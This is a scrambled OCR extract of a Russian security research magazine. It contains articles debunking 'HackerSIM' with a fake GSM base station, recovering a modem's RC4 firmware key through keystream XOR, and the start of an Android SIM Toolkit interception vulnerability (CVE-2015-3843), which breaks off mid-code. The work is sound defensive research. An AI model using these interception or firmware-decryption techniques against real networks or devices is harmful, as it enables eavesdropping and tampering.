93 95 97 99 101 103

// Мобильные угрозы positive research 2016

02 04 HackerSIM: 06 08 10 разбор полетов 12 14 16 Последнее время в сети появилось много статей о SIM-карте, наде- 18 Павел Новиков ленной невиданными и неслыханными возможностями, что вызва- 20 habrahabr.ru/company/pt/blog/269525/ 22 ло сильный ажиотаж. Появилось множество скепсиса и споров, а затем различных теорий, порой потрясающих своей фантастично- 24 стью. Попробуем приоткрыть завесу тайны с технической стороны. 26 Естественно, тесты, которые мы провели, не были бы возможны без 28 самой SIM-карты, которую нам любезно предоставил хабраюзер 30 MagisterLudi. 32 34 Для тех, кто не хочет читать подробности, — резюмирую: прину- дительного шифрования нет, защиты от комплексов перехвата нет, 36 подключения к второй по уровню сигнала БС нет, подмена номера 38 есть, подмена голоса есть, биллинг есть, сокрытия IMSI нет, сокрытия 40 местоположения нет. 42 44 Начнем по порядку. 46 48 50

Чья она?

ICCID SIM-карты (напечатанный на ней) говорит нам следующее: На сайте aysecurity.co.uk заявлены следующие «уникальные» возмож­- ности:

ICCID IMSI + подмена номера звонящего, Country CSP Notes Prefix Prefix + принудительное шифрование, 52 + защита от комплексов перехвата, Although technically an Italian SIM, WorldSIM (Service WorldSIM has been sold on British + подмена голоса, Provider Name Airways flights and is targeted at UK + оптимизация расходов, Italy 89234 22201 stored on card is customers. The card claims to include + скрытие реального IMSI, 'Global Roaming' "Multi IMSI Technology" and offer both + скрытие реального местоположения, a UK and a US mobile number + виртуальный номер. Первый и четвертый пункт уже активно обсуждались на Хабре, поэ- Вставляем SIM-карту в телефон, и первое, что мы видим, — что мы тому мы не будем их затрагивать, а попробуем разобраться в осталь-

52 находимся в роуминге, подключены к MTS, и третья строка, на кото- ных, гораздо менее однозначных. рую невозможно не обратить внимание: AY Security — она сразу же 54 говорит, чья это SIM на самом деле. 56 Принудительное шифрование 58 Интересно, что в современном телефоне отображается совсем дру- гая информация (остается загадкой, что значит «GT»): 60 Сайт производителя гласит: «Данная функция запрещает вашей SIM- 62 карте снижать уровень криптования и заставляет игнорировать 64 команды, поступающие от операторов или комплексов перехвата 66 на отключение алгоритма формирования ключей шифрования (А8), 68 хранящегося в модуле SIM. Таким образом, все ваши разговоры шиф- 70 руются по алгоритму А5.1». 72 На самом деле изначально вся передача ведется без использования 74 шифрования, а включение шифрования осуществляется по команде 76 от оператора Ciphering Mode Command. Вот пример из реальной 78 сети (используется HackerSIM): 80 82 84 86 88 90 92 94 96 98 100 102 03 Однако это точно так же работает на всех других SIM, поскольку Стоит заметить: производитель утверждает, что именно для голоса 05 шифрование обычно используется во всех российских сетях. Для действует запрет на отсутствие шифрования, в поддельной сети без проверки «запрета» работы без шифрования подключим к OpenBTS шифрования без проблем передаются как входящие, так и исходя- 07 и попробуем позвонить. щие SMS. 09 11 13 Защита от комплексов перехвата 15 17 «Данная функция дает абоненту возможность становиться неви- 19 димым для подвижных комплексов перехвата. Принцип действия 21 комплекса перехвата основан на подмене собой реальной базовой 23 станции, таким образом, становясь, по факту, приоритетной для всех 25 телефонов в радиусе ее действия. Телефон с нашим программным 27 комплексом игнорирует базы с наивысшим уровнем сигнала». 29 Вообще говоря, телефон выбирает не по уровню сигнала, а по пара- 31 метру C2, который зависит от текущего уровня сигнала, от минималь- 33 но допустимого сигнала для этой БС и от приоритета БС. Поэтому 35 сама мысль, что это спасает от поддельной БС, — заблуждение. К 37 примеру, OpenBTS, развернутая на SDR, имеет мощность порядка 39 100 мВт, что меньше, чем может сам телефон (до 1 Вт), и значительно 41 меньше, чем стандартная базовая станция. Таким образом, перехват достигается не высоким уровнем мощности, а высоким приоритетом. 43 И то, что телефон использует менее мощную БС, значит лишь то, что 45 приоритет у нее выше. 47 49 Для измерения мощности, параметров C1 и C2 мы использовали при- Сначала действительно складывается впечатление, что SIM-карта 51 ложение Greenhead. как-то прознала, что шифрования нет, и заблокировала звонок. (Но на деле все не так, об этом чуть ниже, а еще обратите внимание на Ну и немного скриншотов — список соседских и обслуживающих окно «Calling…» внизу экрана.) Однако если попытаться позвонить каналов (BCCH — arfcn, SC — serving cell, N1 — neigbour cell 1 и т. д.). несколько раз подряд (в нашем случае три раза), то вызов проходит. 1. HackerSIM на самой мощной и самой приоритетной БС Входящие звонки проходят без проблем и разговор тоже без про- блем происходит.

53

53 55 57 59 61 63 65 67 2. HackerSIM на не самой мощной, но самой приоритетной БС 69 71 73 75 77 79 81 83 85 87 89 91 93 95 97 99 101 103

// Мобильные угрозы positive research 2016

02 3. Включаем «комплекс перехвата», и... HackerSIM спокойно к нему 04 подключается, хотя, если быть точным, то это телефон подклю- 06 чается, так как выбором сот SIM-карта не управляет, и HackerSIM 08 не исключение: 10 12 14 16 18 20 22 24 26 28 30 32 34 36 38 Мы не можем проверить «виртуальность» данного номера, потому 40 что мы его не знаем. Но IMSI можно узнать из радиоэфира, например 42 при подключении телефона к сети. 44 46 48 50 4. Захватив телефон, поддельная сеть больше не сообщает о со- седях, поэтому выбора у телефона нет, кроме как находиться в фейковой сети столько, сколько пожелает злоумышленник, либо пока не выйдет из зоны ее действия:

54

52 54 56 58 60 62 64 66 68 70 72 Оптимизация расходов 74 76 Этот пункт звучит весьма оригинально, с учетом стоимости как самой SIM-карты, так и ее обслуживания. 78 80 Скрытие реального IMSI. Скрытие реального местоположения. Телефон отправляет Location Update Request, сеть запрашивает IMSI Отсутствие биллинга. Виртуальный номер 82 (Identity Request), телефон говорит свой IMSI (Identity Response), по- 84 Заявляется об отсутствии биллинга, и именно поэтому якобы невоз- сле чего вырабатываются сеансовые ключи (Authentication Request 86 можно отследить данного абонента. Однако если нет биллинга, кто и Authentication Response), и только затем поступает команда на 88 выдает вот эту информацию? шифрование. Другими словами, IMSI можно перехватить в радиосе- 90 ти, даже не взламывая шифрования, но иначе быть и не может: так Отслеживание местоположения осуществляется через сеть SS7 с 92 работает сотовая сеть. помощью атак, хорошо описанных в исследовании «Уязвимости се- 94 тей мобильной связи на основе SS7» Дмитрия Курбатова и Сергея Остался еще один нерешенный момент, упомянутый на Хабре. При 96 Пузанкова. Для этого достаточно знать IMSI абонента. Обычно его уз- регистрации телефона в роуминговой сети делается запрос в до- 98 нают через номер телефона; нам неизвестен номер телефона нашей машнюю сеть, но затем все звонки должны проходить через гостевую 100 HackerSIM, и по инструкции с сайта он нам почему-то не показыва- сеть. Так каким же образом все исходящие звонки проходят через 102 ется (тут должен быть еще DID, по которому можно нам позвонить). PBX? 03 Ответ оригинален, но достаточно прост. Когда мы пытались звонить 05 через Motorola C118, звонок сбрасывался, и никто в ответ не перезва- нивал. То же самое — при использовании утилиты mobile из пакета 07 osmocom-bb. 09 11 13 15 17 19 21 23 25 27 29 31 33 35 37 Таким образом, для SIM-карты запрещены любые исходящие актив- 39 ности, кроме USSD, и запрещены они домашней сетью. А сам вызов 41 перехватывается приложением на SIM-карте и подменяется на USSD 43 с вызываемым номером, это уходит в домашнюю сеть, в это время 45 приложение завершает вызов, выводит сообщение «Calling...» на 47 экран и ждет ответа на USSD; так же она проверяет использование 49 «шифрования» в сети. Если USSD неуспешно или не приходит ответ 51 Calling start, она просто блокирует вызов (то, что мы видели в под- дельной сети). Однако, видимо, производительность SIM-карты не позволяет перехватить все вызовы, и завалив ее вызовами, они начи- Кстати, SMS сбрасываются с еще более интересной причиной: нают уходить напрямую. Мы пытались повторить такое в реальной сети, чтобы произвести звонок в обход PBX, но там все звонки «отбиваются» сетью, посколь- ку, как уже сказано выше, для HackerSIM запрещены все исходящие активности. 55 Самые внимательные могли заметить на предыдущем скриншоте за- прос Identity Request перед USSD-ответом. Это сообщение использу- ется сетью для получения от телефона IMSI либо IMEI.

Но вернемся к вопросу о том, почему в старой Motorola исходящий 53 вызов не работает, а в современном телефоне он сбрасывается, а за- 55 тем перезванивает PBX. Дамп радиоэфира раскрывает тайну: 57 59 61 63 65 67 69 71 73 75 77 79 Напомним, что IMEI — вообще необязательный идентификатор в со- 81 товой сети и может не запрашиваться никогда. Так что кто-то собира- 83 ет их и не случайно. Нет никакой анонимности при использовании 85 HackerSIM: они знают — кто, куда, когда и где. 87 Теперь, зная секрет исходящих вызовов, мы можем звонить и со ста- 89 рой Motorola, и с утилиты mobile пакета osmocom-bb. 91 93 При исходящем звонке вместо сообщения установления вызова (Setup) телефон отправляет USSD с номером вызываемого абонен- 95 та, который долгое время гуляет по миру, добираясь до домашних 97 Нидерландов, потом приходит USSD-ответ с незамысловатой фразой 99 Calling start, а затем уже идет входящий звонок с привычной последо- 101 вательностью Setup, Call Confirmed, Assigned Command. 103

// Мобильные угрозы positive research 2016

02 Multi IMSI/Ki 04 06 Для пары смены IMSI/Ki необходимо использовать меню SIM-карты: 08 10 12 14 16 18 20 В режиме Global+ тоже не все гладко. 22 Список предпочтительных сетей (там, где точно будет работать): 24 26 28 List of preferred PLMNs: List of preferred PLMNs: 30 MCC |MNC MCC |MNC 32 34 234 |15 (Guernsey, Vodafone) 655 |01 (South Africa, Vodacom)

36 262 |02 (Germany, Vodafone) 286 |02 (Turkey, Vodafone) 38 208 |10 (France, SFR) 238 |01 (Denmark, TDC) 40 42 222 |10 (Italy, Vodafone) 268 |01 (Portugal, Vodafone)

44 214 |01 (Spain, Vodafone) 260 |01 (Poland, Plus) 46 Callback on/off — включает (выключает) приложение SIM-карты, 505 |03 (Australia, Vodafone) (Czech Republic, 48 230 |03 подменяющие исходящие звонки на USSD. Vodafone) 50 Menu — там ничего нет, кроме Exit. 228 |01 (Switzerland, Swisscom) Reset sim profile — сбрасывает TMSI и Kc (сеансовый ключ). 206 |01 (Belgium, Proximus) 250 |01 (Russian Federation, MTS) About — 404 |20 (India, Vodafone IN) 216 |70 (Hungary, Vodafone)

404 |11 (India, Vodafone IN) 226 |01 (Romania, Vodafone)

404 |27 (India, Vodafone IN) 244 |05 (Finland, Elisa)

404 |05 (India, Vodafone IN) 602 |02 (Egypt, Vodafone)

404 |46 (India, 46) 219 |10 (Croatia, VIPnet) 56 272 |01 (Ireland, Vodafone) (Ghana, Ghana Telecom 620 |02 Mobile / Vodafone) 202 |05 (Greece, Vodafone)

232 |01 (Austria, A1) 255 |01 (Ukraine, MTS)

Запрещенных сетей нет, но при попытке зарегистрироваться в «Билайне» и «TELE2» прилетает отказ из домашней сети, «МегаФон» работает, «МТС» — предпочтителен (в SIM-карте) 52 Вот что происходит при попытке подключиться в «Билайн»: 54 56 58 60 62 64 Select Location — выбор IMSI/Ki. Global — IMSI 22201xxxxxxxxxx, принадлежащий итальянскому опе- 66 ратору TIM. 68 Global+ — IMSI 20404xxxxxxxxxx, принадлежащий голландскому 70 оператору Vodafone Libertel. 72 USA — IMSI 310630xxxxxxxxx, не принадлежит конкретному операто- 74 ру, используется в различных Global SIM. 76 Prime — IMSI 23418xxxxxxxxxx, принадлежащий британскому 78 Cloud9/wire9 Tel. 80 Так что, если эта SIM и работает в любой стране мира, то точно не Все IMSI, кроме Global+, в России не регистрируются по одной из этих работает в любой сети мира. 82 двух причин: 84 86 Выводы: используемая схема исходящих вызовов может услож- нить поиск инициатора звонка, но только при условии, что PBX на- 88 ходится за границей и никак не контактирует со спецслужбами, а 90 операторы связи не знают и не хотят знать о существовании таких 92 специфичных SIM-карт. При желании же отследить активность всех, 94 кто пользуется такими SIM-картами, несложно: разница лишь в том, 96 что искать нужно будет немного другую информацию, чем обычно. 98 Никаких фантастических и «хакерских» свойств сама SIM-карта не 100 имеет. 102 03 Расшифровка обновлений 05 07 09 популярного сотового модема 11 13 15 17 Иногда хочется заглянуть в код прошивки какого-нибудь устройства. Дмитрий Скляров 19 Но кроме самой прошивки, которая зашифрована, ничего нет. И как habrahabr.ru/company/pt/blog/276949/ 21 реверсеру с этим жить? В статье рассмотрена реальная ситуация, ког- 23 да при помощи базовых знаний в computer science и логики удалось 25 решить почти бесперспективную задачу. 27 Название производителя модема убрано, и некоторые имена файлов 29 специально изменены, так как хочется заострить внимание на самой 31 задаче — и на интересном подходе к ее решению. Кстати, в последних 33 моделях модемов этого производителя такой метод уже не работает. 35 Но не исключено, что он может быть использован и в других случаях. 37 39 41 43 45

1. Определение структуры 0001: 'AutoInstall' 47 0002: v0.8 49 Начнем с определения структуры файлов прошивок. Есть три файла 0003: 0x00094000 51 обновлений разных версий для одного модема: 0004: 897279f34b7629801d839a3e18da0345 0005: ab[0x94000] + v2.8_image.bin, 0002: ab[0x1FF046] + v3.7_image.bin, 0001: 'WebUI' + v3.7.4_image.bin. 0002: v3.8 0003: 0x001FF000 При внимательном взгляде все три файла имеют внутри структуру, 0004: 48d1c3194e45472d28abfbeb6bbf1cc6 описываемую схемой TLV (Tag-Length-Value). Например, для v3.7.4_ 0005: ab[0x1FF000] image.bin: Таким образом, из файлов прошивок можно извлечь зашифрованные 57 00000000: 40 72 BC 0E 75 00 03 00 0A 00 00 00 02 00 04 00 00000010: 00 00 03 07 04 FF 00 00 0E DE 4B 00 01 00 10 00 данные для всех составляющих (CPUImage, AutoInstall и WebUI). Как 00000020: 00 00 43 50 55 49 6D 61 67 65 00 00 00 00 00 00 оказалось, содержимое AutoInstall во всех трех версиях прошивки 00000030: 00 00 02 00 04 00 00 00 03 07 04 FF 03 00 04 00 совпадает, внутренности WebUI одинаковы для v3.7 и v3.7.4, но отли- 00000040: 00 00 C8 DD 4B 00 04 00 10 00 00 00 B7 2E 02 FA чаются в v2.8, а CPUImage уникален для каждой версии. 00000050: 03 89 0C 26 61 93 F7 D1 0C F2 EB 87 05 00 C8 DD 00000060: 4B 00 76 56 F1 C8 1F 90 C4 BD D5 72 43 21 71 F1 2. Догадки по алгоритмам Тег 0x0004 на третьем уровне вложенности содержит 16-байтовый Все значения Little-endian, Tag имеет длину 16 бит, Length — 32 бита. набор данных с высокой энтропией. Вполне возможно это значение 53 На первом уровне вложенности в файле присутствует только тег хеша, а самый популярный 128-битовый хеш — MD5. 55 0x7240, и данные для него занимают весь файл. На втором уровне Если заглянуть в извлеченные файлы, можно заметить, что в них мно- 57 вложенности (внутри данных тега 0x7240) расположен тег 0x0003 гие байты по одинаковым смещениям совпадают. Вот, например, на- (0x0A байт), потом 0x0000 (0x4BDE0E байт), потом теги 0x0001и 0x0002 59 чала двух файлов (выделены отличия): (на скриншоте не поместились). На третьем уровне вложенности 61 (внутри данных тега 0x0003) инкапсулирован тег 0x0002, хранящий 63 Autoinstall: 4-байтовый номер версии файла 030704FF (если отбросить все FF, то 65 получится 3.7.4). 00000000: 61 53 86 D1 CC 90 C4 BD D5 72 43 21 71 F1 55 4E 67 00000010: C3 E4 BE 77 82 6F 3B 79 82 6B E6 19 A7 D8 FE 04 69 Внутри остальных тегов, расположенных на втором уровне вложен- 00000020: E1 41 A5 5E 77 8C CB 14 3A 18 CC 7E 3C 5D 5F BD 71 ности (теги 0x0000, 0x0001 и 0x0002), хранятся описания отдельных 00000030: 47 85 76 E5 A1 5B C4 03 51 E9 8E 3C 79 5E CD A3 73 файлов, «упакованных» в один образ. 00000040: 3C D7 5A D2 E9 B7 75 65 D8 4D BB EB 44 52 24 FC 00000050: 21 AE D7 6E D3 BB B3 B5 C2 6A 42 A5 1F 2B 2B 3E 75 Для каждого файла указано имя (тег 0x0001), флаги (тег 0x0002), раз- 00000060: DE 8B 6C 83 B3 2B D3 4A E2 D6 C5 D7 E8 2E 15 6F 77 мер (тег 0x0003), некоторое 16-байтовое значение (тег 0x0004) и соб- 00000070: 25 01 6E BF 00 7B 7C FC 6D 0A 61 A2 20 B4 CD AE 79 ственно данные файла (тег 0x0005). 81 CPUImage: Если разобрать теги на всех трех уровнях вложенности, получится 83 примерно такая структура: 00000000: 76 56 F1 C8 1F 90 C4 BD D5 72 43 21 71 F1 55 4E 85 00000010: C3 E4 BE 77 85 6F 3B 79 82 6B E6 19 96 A2 EE 04 87 7240: ab[0x750EBC] 00000020: E1 41 A5 5E 62 13 CB 14 3A 18 CC 7E 3C 5D 5F BD 89 0003: ab[0xA] 00000030: 47 85 76 E5 A1 5B C4 03 51 E9 8E 3C 79 5E CD A3 91 0002: v3.7.4 00000040: 3C D7 5A D2 E9 B7 BD 64 F9 2C BA EB 44 52 24 FC 0000: ab[0x4BDE0E] 00000050: E6 25 D7 6E D3 BB B3 B5 C2 6A 42 A5 1F 2B 2B 3E 93 0001: 'CPUImage' 00000060: DE 8B 6C 83 B3 2B D3 4A E2 D6 C5 D7 E8 2E 15 6F 95 0002: v3.7.4 00000070: 25 15 8E BE 11 7B 7C FC 6D 0A 61 A2 DE 4B CD AE 97 0003: 0x004BDDC8 99 0004: b72e02fa03890c266193f7d10cf2eb87 0005: ab[0x4BDDC8] Однако если попытаться найти одинаковые последовательности в 101 0001: ab[0x94046] рамках одного файла — длинных повторов не встретится. 103

// Мобильные угрозы positive research 2016

02 Подобный эффект возникает при использовании шифрования путем easyXDM.Widgets.js | 11134 | 31.05.12 | 22:17 04 easyXDM.Widgets.debug.js | 11134 | 31.05.12 | 22:17 наложения константной гаммы очень большой длины. И самый попу- 06 easyXDM.Widgets.min.js | 3114 | 31.05.12 | 22:17 лярный алгоритм шифрования, который именно так работает, — RC4. json2.js | 17382 | 31.05.12 | 22:17 08 easyxdm.swf | 1758 | 31.05.12 | 22:17 10 3. Атака на потоковый шифр с константным ключом MIT-license.tx t | 1102 | 31.05.12 | 22:17 12 Если несколько сообщений зашифрованы c использованием одно- 14 Если при подключенном модеме зайти браузером на веб-интер- го и того же ключа (а значит, и гаммы), можно попытаться раскрыть 16 фейс по адресу http://<имя хоста для модема>/dir, то будет видна фрагменты этих сообщений, поXORив их между собой. И в тех местах, в точности такая же файловая система, и любой файл можно будет 18 где в одном из сообщений были нулевые байты, в другом проявится скачать. 20 открытый текст. 22 Таким образом, чтобы восстановить образ диска WebUI, надо разло- Взяв файлы AutoInstall и WebUI, получим интересные результаты: 24 жить скачанные через веб-интерфейс файлы по тем местам, где они 26 должны быть в соответствии с данными в boot-секторе, таблице FAT и 28 00000000: EB 3C 90 6D 6B 64 6F 73 66 73 00 00 02 04 01 00 л<ђmkdosfs ☻♦☺ описаниях директорий. Единственная сложность — папка «ru» в кор- 00000010: 02 00 02 F8 0F F8 03 00 20 00 40 00 00 00 00 00 ☻ ☻ш☼ш♥ @ 30 не. Кластер с описанием файлов в этой папке не попадает в первые 00000020: 00 00 00 00 00 00 29 6E 1F 3B 15 47 43 54 2D 4C )n▼;§GCT-L 606 208 байт, и его содержимое надо воссоздавать вручную. 32 00000030: 54 45 20 20 20 20 46 41 54 31 32 20 20 20 0E 1F TE FAT12 ♫▼ 34 00000040: BE 5B 7C AC 22 C0 74 0B 56 B4 0E BB 07 00 CD 10 ѕ[|¬"Аt♂Vґ♫»• Н► Согласно информации из веб-интерфейса, в директории «ru» должны 36 00000050: 5E EB F0 32 E4 CD 16 CD 19 EB FE 54 68 69 73 20 ^лр2дН▬Н↓люThis быть следующие файлы: 38 00000060: 69 73 20 6E 6F 74 20 61 20 62 6F 6F 74 61 62 6C is not a bootabl 00000070: 65 20 64 69 73 6B 2E 20 20 50 6C 65 61 73 65 20 e disk. Please Name | Size | Date | Time 40 00000080: 69 6E 73 65 72 74 20 61 20 62 6F 6F 74 61 62 6C insert a bootabl Manualupdate.html | 3981 | 31.05.12 | 22:17 42 00000090: 65 20 66 6C 6F 70 70 79 20 61 6E 64 0D 0A 70 72 e floppy and♪◙pr Index.html | 5327 | 31.05.12 | 22:17 44 000000A0: 65 73 73 20 61 6E 79 20 6B 65 79 20 74 6F 20 74 ess any key to t Network.html | 3328 | 31.05.12 | 22:17 46 000000B0: 72 79 20 61 67 61 69 6E 20 2E 2E 2E 20 0D 0A 00 ry again ... ♪◙ К счастью, в корне есть папка «eng», в которой располагаются файлы 48 000000C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ... с такими же именами и датами создания. И чтобы получить правиль- 50 00008800: 02 43 44 30 30 31 01 00 00 20 00 20 00 20 00 20 ☻CD001☺ ные данные для папки «ru» надо всего лишь исправить: 00008810: 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 + номер стартового кластера текущей директории, + размер каждого файла, По этим двум фрагментам можно предположить, что один из файлов + номера стартовых кластеров каждого файла. является образом дискеты FAT12, а другой — образом CD-ROM. Номер кластера директории «ru» (0x213) можно узнать из корневой 4. Получение начала гаммы директории. Современные сотовые модемы любят при подключении создавать Размеры файлов (3981==0xF8D, 5327==0x14CF и 3328==0xD00 соот- 58 виртуальный CD-ROM, с которого можно установить драйверы или ветственно) узнаем из веб-интерфейса. сопутствующее ПО. Вероятно, и тут использована та же идея. Номера стартовых кластеров для файлов придется угадывать, но Правда, при подключении модема к современным операционным это не очень сложно. Согласно информации в boot-секторе, каждый системам (Windows 7/8, Linux, MacOS X) этот CD-ROM или не появ- кластер занимает 4 сектора или 2048 байт. Для директории «ru» до- ляется вообще, или присутствует всего долю секунды, после чего статочно одного кластера, для файлов Manualupdate.html и Network. исчезает. Пришлось найти ноутбук 2002 года с Windows XP, где при html — двух, и для Index.html понадобится три кластера. Поскольку подключении модема CD-ROM тоже исчезал вскоре после появ- кластеры при записи на пустой диск обычно выделяются последо- ления, но это занимало целых 5 секунд. За это время можно было вательно, файлы будут начинаться в кластерах 0x214, 0x216 и 0x219

52 успеть прочитать все сектора логического тома и получить образ соответственно. Восстановленные данные для директории «ru» будут размером 606 208 == 0x94000 байт, что соответствует размеру файла выглядеть так: 54 AutoInstall. И значение MD5 от прочитанного образа оказалось рав- 56 но 897279F34B7629801D839A3E18DA0345, что соответствует значению 00000000: 2E 20 20 20 20 20 20 20 20 20 20 10 00 00 2C AA . ► ,к 58 тега 0x0004 для этого файла. 00000010: BF 40 BF 40 00 00 2C AA BF 40 13 02 00 00 00 00 ┐@┐@ ,к┐@‼☻ 60 00000020: 2E 2E 20 20 20 20 20 20 20 20 20 10 00 00 2C AA .. ► ,к 62 Теперь остается поXORить прочитанный образ с содержимым 00000030: BF 40 BF 40 00 00 2C AA BF 40 00 00 00 00 00 00 ┐@┐@ ,к┐@ 00000040: 42 68 00 74 00 6D 00 6C 00 00 00 0F 00 56 FF FF Bh t m l ☼ V 64 AutoInstall и получить первые 600 килобайт гаммы. Этой гаммой мы можем расшифровать начала файлов CPUImage и WebUI (имеющих 00000050: FF FF FF FF FF FF FF FF FF FF 00 00 FF FF FF FF 66 00000060: 01 6D 00 61 00 6E 00 75 00 61 00 0F 00 56 6C 00 ☺m a n u a ☼ Vl длину 4 971 976 и 2 093 056 байт соответственно). 68 00000070: 75 00 70 00 64 00 61 00 74 00 00 00 65 00 2E 00 u p d a t e . 00000080: 4D 41 4E 55 41 4C 7E 31 48 54 4D 20 00 00 2C AA MANUAL~1HTM ,к 70 5. Реконструкция образа FDD 00000090: BF 40 BF 40 00 00 2C AA BF 40 14 02 8D 0F 00 00 ┐@┐@ ,к┐@¶☻Н☼ 72 000000A0: 41 69 00 6E 00 64 00 65 00 78 00 0F 00 33 2E 00 Ai n d e x ☼ 3. 74 Если расшифровать начало файла WebUI (первые 606 208 байт), а 000000B0: 68 00 74 00 6D 00 6C 00 00 00 00 00 FF FF FF FF h t m l 76 остальное заполнить нулями, и проинтерпретировать все как образ 000000C0: 49 4E 44 45 58 7E 31 20 48 54 4D 20 00 00 2C AA INDEX~1 HTM ,к FAT, будет видна структура файловой системы и даже доступно со- 000000D0: BF 40 BF 40 00 00 2C AA BF 40 16 02 CF 14 00 00 ┐@┐@ ,к┐@▬☻╧¶ 78 держимое некоторых файлов: 000000E0: 41 6E 00 65 00 74 00 77 00 6F 00 0F 00 98 72 00 An e t w o ☼ Шr 80 000000F0: 6B 00 2E 00 68 00 74 00 6D 00 00 00 6C 00 00 00 k . h t m l 82 00000100: 4E 45 54 57 4F 52 7E 31 48 54 4D 20 00 00 2C AA NETWOR~1HTM ,к Name | Size | Date | Time 00000110: BF 40 BF 40 00 00 2C AA BF 40 19 02 00 0D 00 00 ┐@┐@ ,к┐@↓☻ ♪ 84 bru | Folder | 31.05.12 | 22:17 00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 86 cgi-bin | Folder | 31.05.12 | 22:17 88 cors | Folder | 31.05.12 | 22:17 Аккуратно собрав реконструированную папку «ru» и содержимое css | Folder | 31.05.12 | 22:17 90 всех файлов, полученных из веб-интерфейса, в образ диска (с уче- eng | Folder | 31.05.12 | 22:17 92 img | Folder | 31.05.12 | 22:17 том того, что первый кластер соответствует сектору 0x23), мы полу- 94 js | Folder | 31.05.12 | 22:17 чаем plain-text-версию файла WebUI, значение MD5 для которого 96 ru | Folder | 31.05.12 | 22:17 совпадает с 48D1C3194E45472D28ABFBEB6BBF1CC6 из заголовка name.html | 2248 | 31.05.12 | 22:17 98 обновления. easyXDM.js | 101924 | 31.05.12 | 22:17 100 easyXDM.debug.js | 113900 | 31.05.12 | 22:17 Теперь у нас есть расшифрованные файлы AutoInstall и WebUI, и мы 102 easyXDM.min.js | 19863 | 31.05.12 | 22:17 знаем первые 2 093 056 байт гаммы. 03 6. Заглянем в CPUImage Это не что иное, как загрузка ключа шифрования, расположенного 05 по адресу 0x2ADC60 и имеющего длину 0x15 байт, в алгоритм RC4. После того как мы расшифровали первые 2 мегабайта CPUImage, Однако 0x2ADC60==2’808’928, то есть ключ, располагается за преде- 07 наконец имеет смысл запустить дизассемблер. После определения лами области, для которой нам известна гамма. 09 системы команд процессора (ARM Little-Endian), базового адреса за- 11 грузки (необходимо выкинуть первые 0x34C байт файла) и локализа- Правда, у нас целых три версии обновлений. Вдруг в v3.7 или v2.8 13 ции места расшифровки обновлений можно увидеть вот такой код: ключ в более удачном месте? Увы, в более ранних прошивках адрес 15 расположения ключа будет 0x2AD70C и 0x2A852C, что тоже за преде- 17 ROM:0008ADD0 loc_8ADD0 лами расшифрованной области :( 19 ROM:0008ADD0 LDR R1, =byte_2ADC60 ROM:0008ADD4 LDRB R2, [R1,R0] 7. И снова XOR 21 ROM:0008ADD8 LDRB R1, [R4] 23 Если поXORить между собой CPUImage от обновлений v3.7 и v3.7.4, то ROM:0008ADDC ADD R0, R0, #1 25 ROM:0008ADE0 ADD R2, R2, R1 по адресу 0x34C + 0x2AD70C == 0x2ADA58 мы обнаружим строчку 27 ROM:0008ADE4 ADD R2, R2, R6 «SungKook "James" Shin», которая и является тем самым ключом RC4, 29 ROM:0008ADE8 AND R6, R2, #0xFF на котором зашифрованы все файлы, входящие в обновления. ROM:0008ADEC LDRB R2, [R10,R6] 31 ROM:0008ADF0 STRB R2, [R4],#1 Остается убедиться, что гамма на выходе RC4, инициализированного 33 ROM:0008ADF4 STRB R1, [R10,R6] этим ключом, совпадает с той, что мы получили ранее из AutoInstall и 35 ROM:0008ADF8 MOV R1, #0x15 WebUI, и что MD5 от расшифрованного CPUImage совпадает со зна- ROM:0008ADFC BL sub_27C0EC 37 чением из заголовка обновления. ROM:0008AE00 SUBS R11, R11, #1 39 ROM:0008AE04 AND R0, R1, #0xFF Теперь можно приступать к анализу собственно прошивки, но это 41 ROM:0008AE08 BNE loc_8ADD0 уже совсем другая история. 43 45 47 49 51

59

PT Application Firewall защитит «Связной» от кибератак

53 Интернет-магазин Svyaznoy.ru c оборотом 22 млрд рублей посещают около 15 млн человек в месяц. Кроме того, компания 55 развивает свою систему интернет-сервисов, включая сайты поддержки клиентов, площадки для выбора интернет-про- 57 вайдера, оформления кредитов и страховок, покупки авиабилетов. Популярность сервисов делает их привлекательной мишенью для злоумышленников. Дополнительным фактором риска является жесткая конкурентная борьба. В ходе поиска 59 защитного решения специалисты «Связного» остановились на системе PT Application Firewall. Основным критерием выбо- 61 ра стало наличие уникальных механизмов корреляционного и поведенческого анализа, которые позволяют блокировать 63 атаки нулевого дня, а также защищать систему от фрода, подбора паролей, вовлечения в ботнеты, DDoS-атак и утечек. В 65 рамках пилотного проекта система PT Application Firewall использовалась для защиты портала Svyaznoy.ru и ряда других 67 веб-сервисов компании. Сразу после внедрения пилотной версии удалось выявить более сотни попыток атак, включая 69 Shellshock, SQL Injection и XSS, а также попытки подбора паролей, загрузки вредоносного кода и использования сканеров 71 для поиска уязвимостей в веб-приложениях. 73 75 77 79 81 83 85 87 89 91 93 95 97 99 101 103

// Мобильные угрозы positive research 2016

02 04 Эмуляция и перехват SIM-команд 06 08 10 через SIM Toolkit на Android 5.1 12 14 16 и ниже (CVE-2015-3843) 18 20 22 Я обнаружил эту уязвимость, исследуя возможность перехвата од- 24 Артем Чайкин норазовых паролей, которые отправлялись банком поставщику те- 26 habrahabr.ru/company/pt/blog/280095/ лекоммуникационных услуг, а затем поступали на специальное при- 28 ложение SIM-карты и выводились на пользовательский интерфейс 30 Android. 32 34 36 38 Перехват if (rilMsg.mResCode == ResultCode.OK) { 40 cmdParams = (CommandParams) rilMsg.mData; 42 Представьте, что на SIM-карте есть небольшое приложение, кото- if (cmdParams != null) { 44 рое получает сообщение от оператора связи и показывает его на handleCommand(cmdParams, false); } 46 экране вашего Android-устройства. Если покопаться в исходниках } 48 Android, можно наткнуться на класс com.android.internal.telephony. break; 50 cat.CatService, который отвечает за передачу команд между ОС и сло- case MSG_ID_PROACTIVE_COMMAND: ем радиоинтерфейса (Radio Interface Layer, RIL). try { cmdParams = (CommandParams) rilMsg.mData; } catch (ClassCastException e) { // for error handling : cast exception public void handleMessage(Message msg) { CatLog.d(this, "Fail to parse proactive command"); CatLog.d(this, "handleMessage[" + msg.what + "]"); // Don't send Terminal Resp if command detail switch (msg.what) { is not available case MSG_ID_SESSION_END: if (mCurrntCmd != null) { case MSG_ID_PROACTIVE_COMMAND: sendTerminalResponse(mCurrntCmd.mCmdDet, ResultCode. case MSG_ID_EVENT_NOTIFY: CMD_DATA_NOT_UNDERSTOOD, 60 case MSG_ID_REFRESH: false, 0x00, null); CatLog.d(this, "ril message arrived,slotid:" + mSlo tId); } String 